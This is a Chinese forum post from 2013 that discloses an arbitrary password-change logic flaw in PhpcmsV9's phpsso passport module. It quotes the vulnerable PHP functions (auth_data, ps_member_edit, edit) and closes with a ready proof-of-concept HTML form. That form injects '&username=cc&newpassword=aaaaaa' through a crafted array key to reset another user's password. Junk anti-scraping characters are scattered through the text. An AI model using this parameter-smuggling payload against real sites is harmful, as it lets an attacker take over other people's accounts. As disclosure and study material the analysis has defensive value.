找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1761|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:( U- m- H  H( O  A* C

3 \1 I3 C/ O: Q; K# b! b; P& A! r, r2 I9 y- w1 {; I' Q
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);5 h$ d# j: Y/ p7 B& J5 r" M

9 B) C' v! c( T* _0 i  C1 |* B在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" v" Z/ k7 Y" J! G- S% p4 j2 [. p$ t% }
我把它留给了你们。
# f7 {& i2 k6 v! J; `9 R' X( R不知道你们发现了它没有。, n8 b$ g; X1 w7 L

0 r: b% `+ q7 |- |我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。7 H7 C) \1 B7 q6 E' g
: x0 `4 l6 I% _/ y) v' Z/ N4 ^2 J
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。- a; T0 i' D6 ]6 u! b

( g7 q3 m# C) f也就是' K/ T. J. k) C' p
5 i9 _% C3 q4 Q2 B& M6 _" k' W5 D, E
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
) w! e2 W+ N) B3 k: z) i+ K# T- V; N0 Q( ?5 b6 G% \
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。0 I) x& M7 {2 R4 R

; T2 w/ n" v4 u- Q  A' o* g1 E" X& N3 c6 D
其实我们有这样的机会,看看代码,如下:) d/ o) e* W( ^1 U* N& I

9 a$ q) G& Y3 s: z- X* C4 ]
/ p. F0 g0 x5 s+ m  `1 Vpublic function auth_data($data) {
3 ^2 @* ]) N! @* ~# m4 P3 R                $s = $sep = '';
' |3 \  z, G( i# |3 E# I                foreach($data as $k => $v) {6 t& s% N4 A: ?2 V
                        if(is_array($v)) {
% ?7 _6 D& n- |: Z+ N: k5 \" {                                $s2 = $sep2 = '';
% ^+ e2 S; O  `  E. g% s                                foreach($v as $k2 => $v2) {( {+ R! @' M& ?3 `% y/ t* ?
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
4 e' n& e5 H8 T8 ?1 |* i                                        $sep2 = '&';' F7 E. d( k, R% E" `9 F3 R
                                }
& M2 E" d9 S. D$ l                                $s .= $sep.$s2;1 T& t( Y7 _. G4 O7 T: E
                        } else {
! n* q2 E# N9 l0 v. b                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
8 j; j% J6 p) Z- Z0 R: {6 U% [                        }# ?+ U% X" f" r
                        $sep = '&';' R- `1 T  q# V: A4 d
                }4 R9 v0 J" o( ~+ D: ^

5 o  ~- I7 R2 k: g; R; y                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 O- D* q0 S5 D% _% n                return $auth_s;' g) G! S/ Q( \* t- F: u
        }
& H$ `8 w! r" a; [1 [
+ v/ M( i. {. V; Q& b! h可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。" d3 _( ^! \; Q. R# F" G+ K) w' \

) l, F$ J9 L& X6 Z举个例子
3 o! _! w5 I3 l& d+ B  k! r4 f/ H- Q* R1 q: g. \, B1 i
$a[aaa=a&bbb] = 'a';& v) _6 o  V7 X

; ~2 t1 Q' h8 S6 b! G, m1 C# q会变成aaa=a&bbb=a6 b- m1 h% |4 J7 ]! `

& @2 m- H# T7 a3 x) o明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
; K& D2 S. y8 o% I; P% Y7 P( o4 M
这个时候,我们可以再去看一个函数。
. ?& J% R2 @5 y& ^0 z  ]5 h" z0 `) H6 `' U4 R+ k
就在这个文件内:- Q/ C. l% g; N- y2 h
( ?" K$ a! ~& P# f/ |

3 ?7 X& o3 C. A: F; {4 Rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
2 ?" A: Y( \7 X$ _$ U                if($email && !$this->_is_email($email)) {2 F+ L& U. r3 `
                        return -4;
6 i6 U9 T- n2 d" H* S                }
! k( d% V6 E+ p7 I$ b                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
* D9 {5 _. j0 s& @9 l% R' Q        }
7 H( Z5 b4 ^; V0 \0 H* m- G2 m, \3 `, x7 E+ K5 \: k3 V2 N
这是向通行证发了这样一个请求。% P. N) m  t: k6 ~; z" |4 F

8 p/ D: t, f, R- X: f我们再跟到通信证代码里去看看,就会有所发现。
" ]  D3 H- s3 G9 X& Y# p+ L* p0 x- R: h: y

: V1 X4 B1 V+ A  T6 ]  b+ Upublic function edit() {# g. y' @- U4 m2 c7 M
//能省就省,太长了不是吗?7 ^! J2 P9 w$ A% ?6 U
8 E% C  s1 s- X/ E& K2 Y
if($this->username) {
! Y$ R9 x9 D. D* O- V! B//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。  ^/ g& q! ^$ H
                                $res = $this->db->update($data, array('username'=>$this->username));# t; @4 g: [- G+ [. Z. T3 h5 J
                        } else {
6 x+ e% L) o% C$ b3 P: |# l                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
9 t' e6 x( o. }. q* Q) {' Y% F                                $res = $this->db->update($data, array('uid'=>$this->uid));
' Y! g" a& e- }9 ^                        }
* T9 Q: i/ S# o% p/ k, R$ \3 n, x7 q
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:4 \% |& L% W+ i/ o* x4 B
2 j! X* X# {5 a9 s! N) ]
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- e* \2 b0 k8 n+ ?2 v+ d* k& x1 \3 M# H. ]* d# g3 x2 y* m
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。% z; I- {* M+ ~3 H" o
; y* B4 b7 y7 |# C& ]  `7 U
我当然找到了:
- ]/ e' E3 C7 S0 vphpcms9/phpcms/modules/member/index.php/ s' ]5 o  A5 V7 _1 j, e7 D- x2 q
' }  H: V4 n" I
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
0 @& O# u8 f& ~& [9 Z; s! m: F# }! ~2 Q( g" ^  o2 z2 M" |
然后就没有然后了。
' L8 u* `7 k. @" n" w4 _) N
9 T2 B6 C8 x& a<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">$ i3 n' \& g9 f; j: M1 W
                                <table width="100%" cellspacing="0" class="table_form">
7 e; [" E  r1 U# e                                        <tr>3 [1 z! [6 L2 @( j' V
                                                <th width="80">邮箱:</th>        9 {- t8 c' H6 i7 N& R2 v! x% V( D
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
& j: j( _( i4 ~. V- {3 }, K1 R                                        </tr>
& U- {. w: B9 W                                        <tr>
3 I( h: t  `6 f; q9 u# h) A                                                <th width="80">原密码:</th>        
( w) }+ O( D6 d4 n) V                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; M1 P8 }' ~* B& B' n# a                                        </tr>
$ N. o9 O% j# V' x& X5 t$ i                                        <tr>
% W- w  B1 i* R2 I. t# B                                                <th>新密码:</th>
' G+ a+ P; J# L                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>* V. i/ _9 _8 L7 o8 n' L9 n
                                        </tr>
& b! k  L+ L- X                                        <th></th>
% l3 P3 J% c! a                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
6 b& `3 l* [1 D7 h5 r4 D                                        </tr>
$ U4 u3 e4 e" ~" n  @                                </table>, G6 i- ~, N; V2 b  j) J

! ?$ c5 U% a/ U6 c                                - f$ b1 b, t2 Z5 o) C1 u: h+ d
                        </form>& Z  o& n/ N. Z. ?2 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表